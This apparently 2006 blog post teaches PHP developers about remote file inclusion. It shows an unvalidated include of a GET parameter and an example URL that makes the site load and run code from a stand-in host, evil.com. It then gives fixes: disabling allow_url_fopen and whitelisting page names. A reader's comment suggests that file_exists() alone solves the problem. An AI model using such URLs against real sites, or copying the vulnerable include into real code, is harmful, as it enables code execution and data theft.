Problems with simple templating

April 21st, 2006

Its quite common for people to have one main template, and 'include' their content into the main content area. This works well for small informational sites, where the main content is the bit that changes on each page.

You can spot these sites a mile away with their URL's all following a similar pattern:

http://www.domain.com/index.php?page=home

There's nothing wrong with this as such, however, the issue is when the input isn't validated. First, lets see the code on index.php that pulls in our main content

include($_GET["page"].'.html.);

I've come across a few sites in the last few weeks with just the above - its just asking to be exploited. What can happen? If I were to now alter the URL like so:

http://www.domain.com/index.php?page=http://www.evil.com/hacker

This would now include hacker.html from www.evil.com. When using include(), the contents of the file included are parsed if PHP is found. Thus, the hacker.html could contain php code to reveal your configuration files, or run other arbitrary code. One server I looked at was running a script placed in /tmp that was abusing IRC networks.

So its important to ensure that your code is secure. There are 101 different ways of fixing this issue. One is to disable allow_url_fopen via a .htaccess file:

php_flag allow_url_fopen 0

This will make sure that include, fopen, require et al. cannot use a URL as their parameter.

Another alternative is to validate the input against a known list:

$allowed = array("index","contact","page1","about_us"); //array of allowed filenames
if(in_array($_GET["page"],$allowed)) {
include($_GET["page"].".html");
} else {
die("Bad Page Requested");
}

Hopefully, this small article will help you to see places in your coding where you should be more careful. It is absolutely essential that we validate all input from the user, be it from cookies, POST, GET etc. Failure to do so will end up with problems in the long run.


 Add to del.icio.us    Digg this    Technorati

Related Posts:

Entry Filed under: Input Validation

2 Comments Add your own

  • 1. Dom  |  April 25th, 2006 at 11:21 pm

    Hi Khalid

    Good article, especially for the beginners. ;)

    Such a simple thing to look past but I bet there are thousands of sites on the net that have it.

    I just finished updating the last of my sites tonight - hurray!

    Nice site btw, I haven't been here with this new design :)

    Dom

  • 2. Thijs  |  June 18th, 2007 at 6:04 pm

    This can be easily solved with a simple regular expression, or with functions like file_exists().

Leave a Comment

Required

Required, hidden

Some HTML allowed:
<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <code> <em> <i> <strike> <strong>

Trackback this post  |  Subscribe to the comments via RSS Feed


Calendar

April 2006
M T W T F S S
« Mar   May »
 12
3456789
10111213141516
17181920212223
24252627282930

Most Recent Posts